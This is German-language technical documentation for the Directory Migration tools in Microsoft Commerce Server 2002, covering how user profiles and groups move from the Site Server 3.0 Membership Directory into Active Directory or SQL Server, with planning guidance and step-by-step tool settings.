Sie können mehrere Instanzen des Directory Migration-Tools gleichzeitig ausführen. Wenn beide Modi zur Migration eines Verzeichnisses verwendet werden, werden im Batchmodus alle Benutzer auf einmal migriert. Bei Benutzern, die auf die Site zugreifen, bevor ihre Konten migriert wurden, kann die bedarfsgesteuerte Migration ausgelöst werden, sodass der Benutzer mit einer minimalen Unterbrechung in der neuen Site fortfahren kann. Die Migrationsobjekte werden auf einem oder mehreren Servern installiert und migrieren den entsprechenden Benutzer auf Anforderung. Im Batchmodus wird eine Reihe von aufeinander folgenden Benutzern migriert. Im bedarfsgesteuerten Modus wird immer nur ein Benutzer migriert, sobald dieser sich bei der Commerce Server 2002-Site anmeldet. Die Datei Login.asp im Pfad Laufwerk:\Programme\Microsoft Commerce Server\SDK\Tools\SSCE Migration\Membership\Client kann zur bedarfsgesteuerten Migration von Benutzern verwendet werden.

Um den Status jeder Migration zu verfolgen, wird das Attribut Migration zum Benutzerschema des Membership-Verzeichnisses hinzugefügt. Das Migration-Attribut ist ein Binärwert.

Für jedes erfolgreich migrierte Attribut weist das Directory Migration-Tool dem Migration-Attribut den Wert True zu, für jede fehlgeschlagene Migration den Wert False. War eine Migration nicht erfolgreich, überprüfen Sie das Protokoll, um den Grund zu erfahren.

Hinweis

  • Das Directory Migration-Tool interpretiert das Fehlen eines migrierten Attributs als "keine Migration versucht".

MigrationMainObj-Objekt

Das MigrationMainObj-Objekt ist das primäre Objekt, das die Migration einzelner Benutzer oder einer Reihe von Benutzern bedarfsgesteuert verwaltet. Es ruft die Objekte für jeden zu migrierenden Benutzer in der folgenden Reihenfolge auf:

  1. MigrationReadObj-Objekt
  2. MigrationModifyObj-Objekt
  3. MigrationWriteObj-Objekt
  4. MigrationLogObj-Objekt

Wenn das MigrationMainObj-Objekt für den Batchmodus konfiguriert ist, verwendet es einen Filter, um LDAP-Abfragen (Lightweight Directory Access Protocol) für Benutzerprofile zu erzeugen, die den Filterkriterien entsprechen (z. B. Benutzernamen von "Aaa" bis "Adz"). Dieser Filter wird verwendet, um LDAP-Timeouts vorzubeugen. Weitere Informationen zu diesem Filter finden Sie unter Migration ProfileBuilder-Tool.

Die folgende Abbildung stellt dar, wie das Directory Migration-Tool ein Benutzerprofil verarbeitet.

Abbildung der Verarbeitung eines Benutzerprofils durch das Directory Migration-Tool.

Das Directory Migration-Tool führt folgende Schritte aus, um ein Benutzerprofil zu verarbeiten:

  1. Es erhält Informationen aus einer XML-Konfigurationsdatei, die Einzelheiten zu den zu verwendenden Objekten und Anweisungen bezüglich der Zuordnung der zu lesenden zu den zu schreibenden Daten enthält.
  2. Das MigrationMainObj-Objekt erhält eine Anforderung zur Migration eines Benutzerprofils.
  3. Das MigrationMainObj-Objekt sendet diese Anforderung an das MigrationReadObj-Objekt.
  4. Wenn das Attribut Migration nicht auf True oder False gesetzt wurde, wird es vom MigrationReadObj-Objekt auf True gesetzt, was andere Instanzen des Directory Migration-Tools daran hindert, dasselbe Benutzerprofil noch einmal zu migrieren. Ist die Aktualisierung erfolgreich, wird der Migrationsprozess mit dem nächsten Schritt fortgeführt, andernfalls wird er abgebrochen.
  5. Das MigrationReadObj-Objekt erhält das Benutzerprofil aus dem Membership-Verzeichnis.
  6. Enthält die XML-Konfigurationsdatei einen entsprechenden Eintrag, ruft das MigrationReadObj-Objekt das MigrationModifyObj-Objekt auf.
  7. Das MigrationModifyObj-Objekt verändert das Benutzerprofil wie angegeben und gibt einen modifizierten Puffer an das MigrationReadObj-Objekt zurück.
  8. Das MigrationReadObj-Objekt sendet einen Zeiger auf den geänderten Puffer an das MigrationMainObj-Objekt. Wenn das MigrationReadObj-Objekt einen Fehler zurückgibt, protokolliert das MigrationMainObj-Objekt diesen und ruft das MigrationReadObj-Objekt auf, damit das Migration-Attribut auf "Fehler" gesetzt werden kann, bevor die Vorbereitungen für die nächste Migrationsanforderung fortgesetzt werden.
  9. Das MigrationMainObj-Objekt sendet den Puffer an das MigrationWriteObj-Objekt, das das Benutzerprofil in den Profildatenspeicher schreibt.
  10. Das MigrationWriteObj-Objekt sendet eine Schreibanforderung an das ProfileService-Objekt. Ist dies erfolgreich, fügt das MigrationWriteObj-Objekt dann das Benutzerprofil den angegebenen Gruppen zu und aktualisiert das MemberOf-Attribut entsprechend. Ist der Schreibvorgang nicht erfolgreich, wird er rückgängig gemacht. Ist auch dieser Rollback nicht erfolgreich, wird der Fehlschlag des Rollbacks durch das MigrationWriteObj-Objekt protokolliert.
  11. Das ProfileService-Objekt gibt einen Erfolg/Fehlschlag-Rückgabecode bezüglich des Schreibversuchs zurück.
  12. Wenn es sich um eine Active Directory-Migration handelt, fügt das MigrationWriteObj-Objekt den Benutzer den entsprechenden Gruppen mithilfe von ADSI-Aufrufen (Active Directory Service Interfaces) hinzu.
  13. Das MigrationWriteObj-Objekt protokolliert den Erfolg (oder Fehlschlag) des Schreibversuchs und fügt die Benutzer den entsprechenden Gruppen zu, wenn der Vorgang abgeschlossen ist. Das MigrationWriteObj-Objekt gibt den Code für Erfolg bzw. Fehlschlag entsprechend zurück.
  14. Das MigrationMainObj-Objekt protokolliert den erfolgreichen oder fehlgeschlagenen Migrationsversuch und gibt den Rückgabecode für Erfolg bzw. Fehlschlag an die aufrufende Komponente zurück.

MigrationReadObj-Objekt

Das MigrationReadObj-Objekt liest die Attribute des Benutzerprofils aus dem Site Server 3.0-Membership-Verzeichnis. Das MigrationMainObj-Objekt ruft das MigrationReadObj-Objekt auf, wenn alle Beutzerprofile migriert werden sollen.

Der Quellcode für das MigrationReadObj-Objekt befindet sich im Ordner SDK\Tools\SSCE Migration\Membership.

MigrationModifyObj-Objekt

Das MigrationModifyObj-Objekt wird verwendet, um Benutzerprofile bei der Migration zu modifizieren. Das MigrationModifyObj-Objekt ist verantwortlich für die Pufferverwaltung. Beispiele zur Pufferverwaltung finden Sie im Quellcode.

Der Quellcode für das MigrationModifyObj-Objekt befindet sich im Ordner SDK\Tools\SSCE Migration\Membership.

MigrationWriteObj-Objekt

Das MigrationWriteObj-Objekt übermittelt die migrierten Benutzerprofildaten zum Schreiben an das ProfileService-Objekt. Ist der Benutzer Mitglied einer Gruppe, fügt das MigrationWriteObj-Objekt das Profil der entsprechenden Gruppe in Active Directory hinzu.

MigrationLogObj-Objekt

Das MigrationLogObj-Objekt wird zur Erstellung eines Transaktionsprotokolls verwendet, dass der Diagnose von Problemen dient, die während des Migrationsprozesses aufgetreten sind.


Subgroup Manager

Das SubGroupManager-Objekt ist ein Hilfsobjekt, das als Hilfsmittel zur Bestimmung der Gruppenmitgliedschaft in dem Code verwendet wird, der bestimmt, wo ein Benutzer im Active Directory-Verzeichnisdienst gespeichert ist.

Das SubGroupManager-Objekt besteht aus einer Visual Basic ActiveX-DLL (Dynamic Link Library) und einer zugeordneten EXE-Testdatei, die als Eingabe die eindeutigen Namen eines Benutzers und der übergeordneten Gruppe erwartet.

Aufgrund der effektiven Grenze von 5.000 Objekten pro Gruppe erfordern die meisten Gruppen eine Reihe von Untergruppen, damit alle Benutzer einer großen Gruppe enthalten sein können. Beispiel: Im Membership-Verzeichnis ist eine Gruppe mit dem Namen "Freunde" mit 10.000 Benutzern vorhanden. In Active Directory würden Sie erst die Mastergruppe "Freunde" und dann darunter Untergruppen erstellen, die zusammen tatsächlich alle Benutzer enthalten. Diese Untergruppen können daran erkannt werden, dass sie den Namen der Mastergruppe enthalten und mit einem numerischen Suffix versehen sind. Beispiel: "Freunde_0001".

In der folgenden Tabelle sind die Methoden, die vom SubGroupManager-Objekt unterstützt werden, mit einer kurzen Beschreibung aufgeführt.

Methode Beschreibung
SubGroupMembership
  • Gibt den eindeutigen Namen (Distinguished Name, DN) der Untergruppe zurück, in der das Benutzerprofil eingeordnet wird.
  • In Bezug auf Active Directory werden keine Operationen ausgeführt.
AddUserToMasterGroup
  • Bestimmt, in welcher Untergruppe der Mastergruppe das Benutzerprofil gespeichert werden soll.
  • Überprüft, ob die Untergruppe vorhanden ist. Ist sie nicht vorhanden, wird sie automatisch erstellt.
  • Schreibt das Benutzerprofil in die Untergruppe.
RemoveUserFromMasterGroup
  • Bestimmt, in welcher Untergruppe der Mastergruppe das Benutzerprofil gespeichert werden soll.
  • Entfernt das Benutzerprofil aus der Untergruppe.
IsUserOfMasterGroup
  • Bestimmt, in welcher Untergruppe der Mastergruppe das Benutzerprofil gespeichert werden soll.
  • Überprüft, ob das Benutzerprofil ein Mitglied der Untergruppe ist und gibt den Wert True zurück, falls dies zutrifft, und den Wert False, falls nicht.

Das SubGroupManager-Objekt ist funktionsfähig, enthält jedoch einen festgelegten Benutzernamen und ein Kennwort im Code, die für die Verbindung zum Verzeichnisdienst erforderlich sind. Sie müssen diese Konstanten ändern, den Code erneut kompilieren und dann die resultierende DLL mit dem folgenden Befehl registrieren:

regsvr32 subgroupmanager.dll

Die Programm-ID für das Erstellen des SubGroupManager-Objekts ist: SubgroupManagerProject.SubGroupManager.

Hinweis

  • Wenn Sie den Hash-Algorithmus verändern, müssen Sie dieselben Änderungen im Quellcode entsprechend der Datei Migrationutil.dll vornehmen.


Planen der Migration

Bevor Sie mit dem Migrationsprozess beginnen, ist es wichtig, alle mit diesem Prozess verbundenen Schritte zu planen und zu verstehen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Migrieren von Authentifizierungstypen
  • Migrieren von Gruppen
  • Migrieren nach Active Directory oder SQL Server


Migrieren von Authentifizierungstypen

Die Tools in der Directory Migration Toolbox migrieren Daten so, dass alle Authentifizierungstypen im Membership-Verzeichnis unterstützt werden.


Migrieren von Gruppen

Obwohl das Profilsystem von Commerce Server Gruppen unterstützt, ist die Implementierung von den Eigenschaften des Profildatenspeichers abhängig. Um Gruppen auf dieselbe Weise wie im Microsoft Site Server 3.0-Membership-Verzeichnis implementieren zu können, müssen Sie den Active Directory-Verzeichnisdienst verwenden.

Active Directory kann zur Erstellung von Gruppen und für die Zuweisung von Zugriffssteuerungslisten (ACLs) und Zugriffssteuerungseinträgen (ACE) für Dateien und Verzeichnisse verwendet werden. Die Implementierung ist allerdings nicht vollständig kompatibel mit einer Site, die mithilfe des Site Server 3.0-Membership-Verzeichnisses implementiert wurde. Active Directory begrenzt Gruppen auf 5.000 Objekte. Diese Begrenzung ist aufgrund der Art erforderlich, in der die Inhalte der Gruppen zwischen den Instanzen der Domänencontroller repliziert werden. Diese Begrenzung wird erst in späteren Versionen von Active Directory behoben, daher ist es notwendig, für die Migration des Membership-Verzeichnisses einige Arbeitsschritte hinzuzufügen.

Zur Erstellung von Untergruppen können Sie die Directory Migration-Tools verwenden und dann die Benutzerprofile diesen Untergruppen zuordnen. Um genügend Platz für weitere Profile und Untergruppen zu lassen, füllen die Tools die Untergruppen mit jeweils nur 4.500 Benutzerprofilen.

In der folgenden Tabelle wird gezeigt, wie eine Gruppe mit 100.000 Benutzerprofilen im Membership-Verzeichnis in Active Directory migriert wird.

Struktur des Membership-Verzeichnisses | Äquivalente Active Directory-Struktur
GruppeA | GruppeA
Benutzer1 .. Benutzer100000 | GruppeA_0000
 | Benutzer1 .. Benutzer4500
 | GruppeA_0001
 | Benutzer4501 .. Benutzer9000
 | …
 | GruppeA_0023
 | Benutzer99001 .. Benutzer100000

Vorsicht

  • Sie müssen Active Directory im einheitlichen Modus einrichten. Wenn Sie Active Directory im gemischten Modus einrichten, wird die erforderliche Gruppenhierarchie nicht erstellt.

Wenn die Benutzerprofile über eine Gesamtstruktur mehrerer Domänen verteilt sind, wird die Migration etwas komplizierter. Die folgende Abbildung zeigt, wie Benutzerprofile und ACLs für Inhalte Active Directory zugeordnet werden und dabei die Sicherheit der Site erhalten wird.

Darstellung der Migration in eine Gesamtstruktur von Domänen.


Migrieren nach ActiveDirectory oder SQL Server

Feedback zu dieser Seite senden Commerce Server 2002

Migrieren nach Active Directory oder SQL Server

Sie müssen entscheiden, ob die Benutzer nach Active Directory-Verzeichnisdiensten oder nach Microsoft SQL Server migriert werden sollen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Migrationsleistung und -skalierbarkeit
  • Kompatibilität der Migrationsattribute

Migrationsleistung und -skalierbarkeit

Active Directory

Der Microsoft Windows 2000 Server Active Directory-Verzeichnisdienst ist ein stabiler, sehr sicherer Verzeichnisspeicher. Beachten Sie bei der Planung in Bezug auf Leistung und Skalierbarkeit Folgendes:

  • Active Directory wird bei Bereitstellungen benötigt, die eine Zugriffssteuerung für Benutzergruppen auf Dateien erfordern.
  • Active Directory ist als Domänencontroller mit Schreibtransaktionen optimiert, die nur einen Teil des gesamten E/A-Verzeichnisverkehrs darstellen.
  • Aktuelle Test haben ergeben, das bei ca. 1 Million (1.000.000) Benutzer in einer Domäne der E/A-Replikationsverkehr zwischen Active Directory-Instanzen in der Domäne beginnt, die Schreib- und Leseaktivität für das Profil zu beeinträchtigen. Darüber hinaus gibt es eine praktische Grenze von ca. 5 Domänen mit jeweils einer Million Benutzer, bevor der Replikationsaufwand des globalen Katalogs den E/A-Verkehr der Profilanforderungen zu beeinträchtigen beginnt. Diese Zahlen hängen von der Hardwareleistung und der Optimierung des Systems ab.

Die folgenden Empfehlungen basieren auf den Tests mit einem typischen E-Commerce-Benutzerprofil:

  • 1 Million Benutzer pro Active Directory-Domäne.
  • 5 Active Directory-Domänen pro Domänengesamtstruktur (dies entspricht der praktischen Grenze von 5 Millionen Konten für Active Directory-Bereitstellungen).

Weitere Informationen zum Thema Leistung und Skalierbarkeit finden Sie unter http://go.microsoft.com/fwlink/?LinkId=945.

SQL Server

Microsoft SQL Server 7.0 wird nicht unterstützt, Commerce Server unterstützt nur Microsoft SQL Server 2000. Beachten Sie bei der Planung in Bezug auf Leistung und Skalierbarkeit Folgendes:

  • SQL Server verfügt über hervorragende Skalierbarkeits- und Stabilitätsmerkmale. SQL Server ist auf hohe Datendynamik optimiert und unterstützt einen Lese/Schreib-Ausgleich bis 50/50 ohne nennenswerten Leistungsverlust. Dies passt hervorragend zu E-Commerce-Sites, die hochdynamische Attribute für Benutzer bereitstellen (z. B. die Favoriten und Datum/Uhrzeit des letzten Besuchs).
  • Bei Tests mit bis zu 10 Millionen Benutzern im Shop mit einem Prozent Parallelitätsrate konnten keine Grenzen festgestellt werden.
  • Gruppen, die in SQL Server erstellt wurden, besitzen keine systemeigene ACL/ACE-Integration, die den Schutz statischer Inhalte ermöglicht (z. B. Bild- und Audiodateien).
  • Gruppen, die unter SQL implementiert werden, werden als mehrwertige Zeichenfolgen mit einer praktischen Grenze von weniger als 200 Benutzern pro Gruppe erstellt.

Verwenden von Active Directory und SQL Server

Für Sites, für die sowohl die Zugriffssteuerung von Active Directory als auch die Leistung von SQL Server erforderlich ist, sollten Sie sowohl Active Directory als auch SQL Server für das Speichern der Benutzerprofildaten verwenden. In diesem Szenario würden Sie sowohl Daten speichern, die mit Benutzeranmeldeinformationen verknüpft sind, als auch Daten, die sicher im Active Directory-Datenspeicher abgelegt sind. Die übrigen Attribute sollten dann in SQL Server gespeichert werden.

Die Attribute können Sie beispielsweise folgendermaßen aufteilen:

  • Benutzerprofilattribute, die in Active Directory gespeichert werden:
    • Benutzername
    • Kennwort
  • Benutzerprofilattribute, die in SQL Server gespeichert werden:
    • Kreditkarte
    • Privatadresse, Ort, Bundesland/Kanton, Postleitzahl
    • Private Telefonnummer
    • Datum/Uhrzeit des letzten Besuchs
    • Lieblingsfarbe
    • Zuletzt aufgerufene Seite
    • Bisherige Gesamtverweildauer im laufenden Jahr in der Site

Kompatibilität der Migrationsattribute

Es gibt nicht für jedes Attribut aus dem Site Server 3.0-Membership-Verzeichnis ein entsprechendes Attribut in einem Profildatenspeicher von Commerce Server.

In der folgenden Tabelle werden die Attributtypen in einem Membership-Verzeichnis, die entsprechenden Typen in einem Profildatenspeicher und die Datentypen in Active Directory und SQL Server aufgeführt. Hierbei handelt es sich um die Attribute, die von Commerce Server ohne jegliche Modifikation unterstützt werden.

Attributtyp im Membership-Verzeichnis | Entsprechende Typen im Profilsystem von Commerce Server | Zu Grunde liegender Datentyp in Active Directory | Zu Grunde liegender Datentyp in SQL Server
Zeichenfolge | Text, Kennwort, SiteBegriff, Profil | Zeichenfolge | Zeichenfolge
Integer | Nur Zahlen, Dezimal Währung | Zahl | Zahl
Datum/Uhrzeit | Datum/Uhrzeit, Datum, Uhrzeit | Datum/Uhrzeit | Datum/Uhrzeit
Eindeutiger Name (DN) | Text, Kennwort, SiteBegriff, Profil | Zeichenfolge | Zeichenfolge
Binärwert | Binärwert | Binärwert | Binärwert
Mehrwertige Zeichenfolge | Mehrwertig (Text, Kennwort, SiteBegriff, Profil) | Mehrwertige Zeichenfolge | Mehrwertige Zeichenfolge
Mehrwertiger Integer | NUMBER (mehrwertig) | Mehrwertiger Integer | Nicht unterstützt
Datum/Uhrzeit (mehrwertig) | Datum/Uhrzeit, Datum, Uhrzeit (mehrwertig) | Datum/Uhrzeit (mehrwertig) | Nicht unterstützt
Mehrwertiger eindeutiger Name | Mehrwertig (Text, Kennwort, SiteBegriff, Profil) | Mehrwertige Zeichenfolge | Mehrwertige Zeichenfolge
Mehrwertiger Binärwert | Mehrwertiger Binärwert | Mehrwertiger Binärwert | Nicht unterstützt

Vorsicht

  • Gehen Sie mit Bedacht vor, wenn Sie mehrwertige Attribute in Profilen ermöglichen. Der zu Grunde liegende Datentyp wird nicht darauf überprüft, ob er als mehrwertiger Datentyp gekennzeichnet wurde.
  • Es gibt im Moment einige Datentypen, die in Profilen unterstützt werden, aber auf der Datenebene von SQL Server- oder Active Directory-Speichern nicht möglich sind. Zu diesen Typen zählen: Integer, Long Text und Reference.


Vorbereiten der Migration

Bevor Sie das Membership-Verzeichnis nach Commerce Server migrieren, müssen Sie folgende Schritte ausführen:

  1. Einrichten von Commerce Server-Profilen. Führen Sie diesen Schritt aus, um Datenelemente und Datentypen im Profildatenspeicher von Commerce Server zu erstellen.
  2. Verändern von Migrationsobjekten. Führen Sie diesen Schritt aus, damit die Migrationsobjekte alle Benutzerinformationen lesen, sie nach Bedarf verändern und dann in den Profildatenspeicher von Commerce Server schreiben können.
  3. Ausführen des Migration ProfileBuilder-Tools. Führen Sie diesen Schritt aus, um eine XML-Datei (Extensible Markup Language) zu erstellen, die vom Directory Migration-Tool verwendet werden kann.
  4. Ausführen des Groups Pre-Population-Tools. Führen Sie diesen Schritt aus, wenn Sie Windows 2000 Server Active Directory verwenden.
  5. Kompilieren von Migrationsobjekten. Führen Sie diesen Schritt nur dann aus, wenn Sie Ihre Migrationsobjekte modifiziert haben.
  6. Registrieren von Migrationsobjekten. Führen Sie diesen Schritt aus, um die Objekte des Directory Migration-Tools zu registrieren. Sie müssen diesen Schritt auch dann ausführen, wenn Sie Ihre Migrationsobjekte nicht modifiziert haben.


Einrichten von CommerceServer-Profilen

Feedback zu dieser Seite senden Commerce Server 2002

Einrichten von Commerce Server-Profilen

Die folgenden Schritte setzen voraus, dass Sie Commerce Server 2002 installiert haben und geprüft wurde, dass eine Lösungssite in dieser Umgebung erfolgreich ausgeführt wird. Es muss überprüft werden, dass das Profilsystem von Commerce Server auf die erforderlichen Datenspeicher zugreifen kann (z. B. SQL Server, Active Directory, andere OLE DB-Speicher oder ein LDAP Version 3-kompatibler Speicher).

So richten Sie Commerce Server-Profile ein

  1. Legen Sie fest, welche Attribute der Elementklasse des Membership-Verzeichnisses migriert werden sollen.
  2. Verwenden Sie den Profildienst in Commerce Server-Manager, um die zu Grunde liegenden Datenelemente zu erstellen.
  3. Verwenden Sie den Profildienst, um die Datenelemente den entsprechend verfügbaren Datentypen zuzuordnen.

Siehe auch

Ausführen der Profilressource


Verändern von Migrationsobjekten

Je nach Anforderung der Site kann es erforderlich sein, die Objekte MigrationRead, MigrationWriteObj oder MigrationModifyObj zu modifizieren. Diese Objekte sind in C++ geschrieben.

Wenn Sie die Objekte verändern müssen, sollte dies vor dem Ausführen des Migration ProfileBuilder-Tools geschehen.


Ausführen des Migration ProfileBuilder-Tools

Nachdem Sie die Commerce Server-Profile eingerichtet und die Migrationsobjekte den Anforderungen entsprechend modifiziert haben, können Sie das Migration ProfileBuilder-Tool ausführen, um die XML-Migrationsdatei zu erzeugen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Kompilieren des Migration ProfileBuilder-Tools.
  • Zuordnen der Attribute aus Membership-Verzeichnis und Profildatenspeicher


Kompilieren des Migration ProfileBuilder-Tools

Wenn Sie das Migration ProfileBuilder-Tool bearbeiten möchten, können Sie auf den Quellcode im Ordner Laufwerk:\Programme\Microsoft Commerce Server\SDK\Tools\Membership Migration\ProfileBuilder zugreifen.

Die Anwendungsabbilder wurden mithilfe von Microsoft Visual Basic 6.0 Professional erstellt.

Nachdem Sie das Migration ProfileBuilder-Tool modifiziert haben, müssen Sie für den Profildatenspeicher von Commerce Server einen Datenquellennamen (DSN) mithilfe des Managers für Datenquellen (ODBC) erstellen. Den Manager finden Sie im Menü Start unter Programme/Verwaltung/Datenquellen (ODBC). Erstellen Sie einen System-DSN mithilfe des SQL Server-Treibers. Vergewissern Sie sich, dass Sie die Standardverbindungszeichenfolge auf den richtigen Profildatenspeicher zeigt (z. B. Retail_commerce).

Zuordnen der Attribute aus Membership-Verzeichnis und Profildatenspeicher

Um das Migration ProfileBuilder-Tool auszuführen, muss der ausführende Server in der Lage sein, sowohl auf den LDAP-Server des Membership-Verzeichnisses als auch auf den Commerce Server-Computer zuzugreifen, der das ProfileService-Objekt ausführt.

So führen Sie das Migration ProfileBuilder-Tool aus (nur auf Englisch verfügbar)

  1. Öffnen Sie im Windows Explorer den Ordner, der das Migration ProfileBuilder-Tool enthält, und doppelklicken Sie auf ProfileBuilder.exe.
  2. Nehmen Sie im Dialogfeld Step 1 die folgenden Einstellungen vor:
    Option | Aktion
    Location to store all of the profiles | Geben Sie das Verzeichnis ein, in dem sich die vom MigrationMainObj-Objekt verwendeten XML-Dateien befinden. Normalerweise wird nur eine XML-Datei verwendet.
    XML file name | Geben Sie den Namen der zu generierenden Datei ein. Das Migration ProfileBuilder-Tool fügt dem Namen eine Profil-ID hinzu. In diesem Beispiel werden die Dateien "migration"<n>.xml genannt, wobei "n" bei jedem generierten Profil um 1 erhöht wird.
    ProgID of IMigrationRead | Geben Sie die Programm-ID des MigrationReadObj-Objekts ein. Dieses Standardobjekt wird vom enthaltenen Quellcode generiert.
    ProgID of IMigrationWrite | Geben Sie die Programm-ID des MigrationWriteObj-Objekts ein. Dieses Standardobjekt wird vom enthaltenen Quellcode generiert.
    ProgID of IMigrationModify | Geben Sie die Programm-ID des MigrationModifyObj-Objekts ein. Dieses Standardobjekt wird vom enthaltenen Quellcode generiert.
    ProgID of IMigrationLog | Geben Sie die Programm-ID des MigrationLogObj-Objekts ein. Dieses Standardobjekt wird vom enthaltenen Quellcode generiert.
  3. Nehmen Sie im Dialogfeld Step 2 die folgenden Einstellungen vor:
    Option | Aktion
    Membership Directory Server | Geben Sie den NetBIOS-Namen des Membership-Verzeichnisses ein.
    Port Number | Geben Sie die Anschlussnummer der Membership-Verzeichnisinstanz ein.
    MD User Name | Geben Sie den eindeutigen Namen des Benutzers für die Verbindung zum Membership-Verzeichnis ein.
    Password | Geben Sie das Kennwort für den Benutzernamen ein, der im Feld MD User Name angegeben wurde.
    Server Name | Geben Sie den Namen des SQL Servers ein, der die Verwaltungsdatenbank von Commerce Server ausführt.
    Database Name | Geben Sie den Namen der Datenbank ein, in der sich der Profildatenspeicher befindet.
    DBA Name | Geben Sie die Anmeldung für den Benutzer ein, der die Systemadministratorrechte besitzt.
    DBA's Password | Geben Sie das Kennwort für den angemeldeten Benutzer ein.
  4. Nehmen Sie im Dialogfeld Step 3 die folgenden Einstellungen vor:
    Option | Aktion
    Migrate MemberOf | Bestimmt, ob das die XML-Datei lesende Migrationsobjekt die Benutzer in Active Directory-Gruppen migriert.
    Object Schema | Geben Sie das Schema ein, das den Benutzer repräsentiert, z. B. Mitglied. Sie können auch andere Kundenklassen eingeben, wenn diese migriert werden sollen.
    Filter Depth | Geben Sie eine Zahl zur Bestimmung der Suchgenauigkeit ein. Dies dient als Mechanismus zur Vorbeugung von LDAP-Abfragetimeouts. Eine Filtertiefe von 2 bedeutet eine Suche nach cn=xx*. Eine Filtertiefe von 3 bedeutet eine Suche nach cn=xxx* ("x" = [a-z, 0-9]).
    Search Scope | Wählen Sie eine Tiefe aus der Dropdownliste, bis zu der das Tool Sub-Container unter dem Stammverzeichnis durchsuchen kann.
    Search Filter Base | Geben Sie ein Präfix für die im Batchmodus zu migrierenden Kontennamen ein (z. B. cn=a).
  5. Nehmen Sie im Dialogfeld Step 4 die folgenden Einstellungen vor:
    Option | Aktion
    Group's parent RDN | Geben Sie den RDN (Relative Distinguished Name) von Active Directory ein.
    AD Administrator's User Name | Geben Sie den Namen des beim Schreiben in Active Directory zu verwendenden Anmeldekontos ein. Verwenden Sie das folgende Format: "Domäne\Benutzer".
    AD Administrator's Password | Geben Sie das Kennwort für das Konto ein, dass im Feld AD Administrator's User Name eingegeben wurde.
    Catalog | Wählen Sie den zu verwendenden Profilkatalog aus. Normalerweise ist dies Profildefinitionen.
  6. Ordnen Sie die zu lesenden Attribute den zu schreibenden Attributen zu. Sie können die im rechten Bereich aufgeführten Objekte mithilfe der Profildefinitionen aus den Listenfeldern steuern. Um eine Zuordnung zu erstellen, klicken Sie auf das Attribut im Feld Site Server und dann auf das entsprechende Attribut im Feld Commerce Server.

    Die Zahlen auf der linken Seite der Attribute kennzeichnen die Zuordnung (z. B. 49 Telefonnummer = 49 tel_nummer).

    Die folgende Abbildung zeigt Attribute aus dem Membership-Verzeichnis, die Attributen im Profildatenspeicher von Commerce Server zugeordnet sind.

    Bildschirmabbild, das die zugeordneten Attribute zeigt.

  7. Wenn die Zuordnung der Attribute abgeschlossen ist, klicken Sie auf Preview.

    Das Dialogfeld Step 5 zeigt die gesamte XML-Datei an.

  8. Wenn die XML-Datei vollständig ist, klicken Sie auf Yes.

    Das Migration ProfileBuilder-Tool speichert die XML-Datei.


Ausführen des Groups Pre-Population-Tools

Nachdem Sie das Migration ProfileBuilder-Tool zur Erstellung der XML-Datei ausgeführt haben, können Sie die Gruppen erstellen, in die die Benutzerprofile migriert werden sollen.

Um das Groups Pre-Population-Tool auszuführen, muss der ausführende Server in der Lage sein, sowohl auf den LDAP-Server des Membership-Verzeichnisses als auch auf den Computer unter Commerce Server zuzugreifen.

So führen Sie das Groups Pre-Population-Tool aus (nur in Englisch verfügbar)

  1. Öffnen Sie im Windows Explorer den Ordner, der das Groups Pre-Population-Tool enthält, und doppelklicken Sie auf GroupMigration.exe.
  2. Nehmen Sie im Dialogfeld Create group structure in AD die folgenden Einstellungen vor:
    Option | Aktion
    Server Name | Geben Sie den Namen des Membership-Verzeichnisservers ein.
    Port Number | Geben Sie die Anschlussnummer des LDAP-Servers für das Membership-Verzeichnis ein.
    User Name | Geben Sie den Anmeldenamen ein, den Sie zum Zugriff auf den LDAP-Server verwenden. Verwenden Sie das folgende Format: "Domäne\Benutzer".
    Password | Geben Sie das Kennwort für den Anmeldenamen ein.
    Groups DN | Geben Sie den eindeutigen Namen des Gruppenobjekts ein.
    Group's Schema | Geben Sie die Objekte ein, die das Schema der Gruppe beschreiben.
    Organizational Unit | Geben Sie die Organisationseinheit ein, unter der Sie die Gruppen in Active Directory erstellen möchten.
    Server | Geben Sie den Namen des Servers ein, auf dem Commerce Server installiert ist.
    Port | Geben Sie die Anschlussnummer des Servers ein, auf dem Commerce Server installiert ist.
    Partition | Geben Sie eine Liste der Partitionen ein, die in die Gesamtstruktur von Active Directory aufgenommen werden sollen. Verwenden Sie das folgende Format: "dc = <Domänenname>".
    Domain User Name | Geben Sie den Anmeldenamen eines autorisierten Active Directory-Benutzers ein. Verwenden Sie das folgende Format: "<Domänenbenutzer>".
    Password | Geben Sie das Kennwort für Domänenbenutzernamen ein.

    Hinweis

    • Wenn Sie die Partitionen eingeben, müssen Sie auf die Schaltfläche Add klicken, um den Eintrag zu speichern.
  3. Klicken Sie auf Next.
  4. Nehmen Sie im Dialogfeld Group Attributes Map die folgenden Einstellungen vor:
    Option | Aktion
    Feld links oben | Wählen Sie die Kategorie des Gruppenattributs für das Membership-Verzeichnis.
    Feld rechts oben | Geben Sie den Namen des Profildatenspeichers von Active Directory ein.
  5. Um ein Benutzerprofilattribut dem entsprechenden Attribut im Profildatenspeicher von Active Directory zuzuordnen, wählen Sie das Benutzerattribut im Feld unter Description aus, und klicken Sie anschließend auf Map.

    Es gibt zwei Standardeinträge: Description und MBSTokenID.

  6. Geben Sie in der rechten Spalte den Namen des Attributs ein, dem die Einträge zugeordnet werden sollen. Vergewissern Sie sich, das der eingegebene Attributname in Active Directory mit dem übereinstimmenden Datentyp vorhanden ist.
  7. Klicken Sie auf Remove, um die Atttribute zu entfernen, die nicht zugeordnet werden sollen.
  8. Klicken Sie auf Finish, um das Zuordnen von Attributen abzuschließen.

Das Groups Pre-Population-Tool liest die Gruppen im Membership-Verzeichnis und erstellt sie erneut in Active Directory. Dieser Erstellungsprozess kann je nach Anzahl der Gruppen einige Zeit beanspruchen, die zu berücksichtigen ist.


Kompilieren von Migrationsobjekten

Wenn Sie Ihre Migrationsobjekte modifizieren, müssen Sie sie in der folgenden Reihenfolge kompilieren:

  1. MigUtil
  2. MigrationModifyObj
  3. MigrationLogObj
  4. MigrationReadObj
  5. MigrationWriteObj
  6. MigrationMainObj

Beachten Sie folgende Abhängigkeiten und die daraus folgendenden Konsequenzen für die Reihenfolge der Kompilierung:

  • MigrationMainObj ist abhängig von den vier anderen Objekten.
  • MigrationReadObj ist abhängig von MigUtil und MigrationModifyObj.
  • MigrationWriteObj ist abhängig von MigUtil und MigrationLogObj.
  • MigrationLogObj ist abhängig von MigUtil.
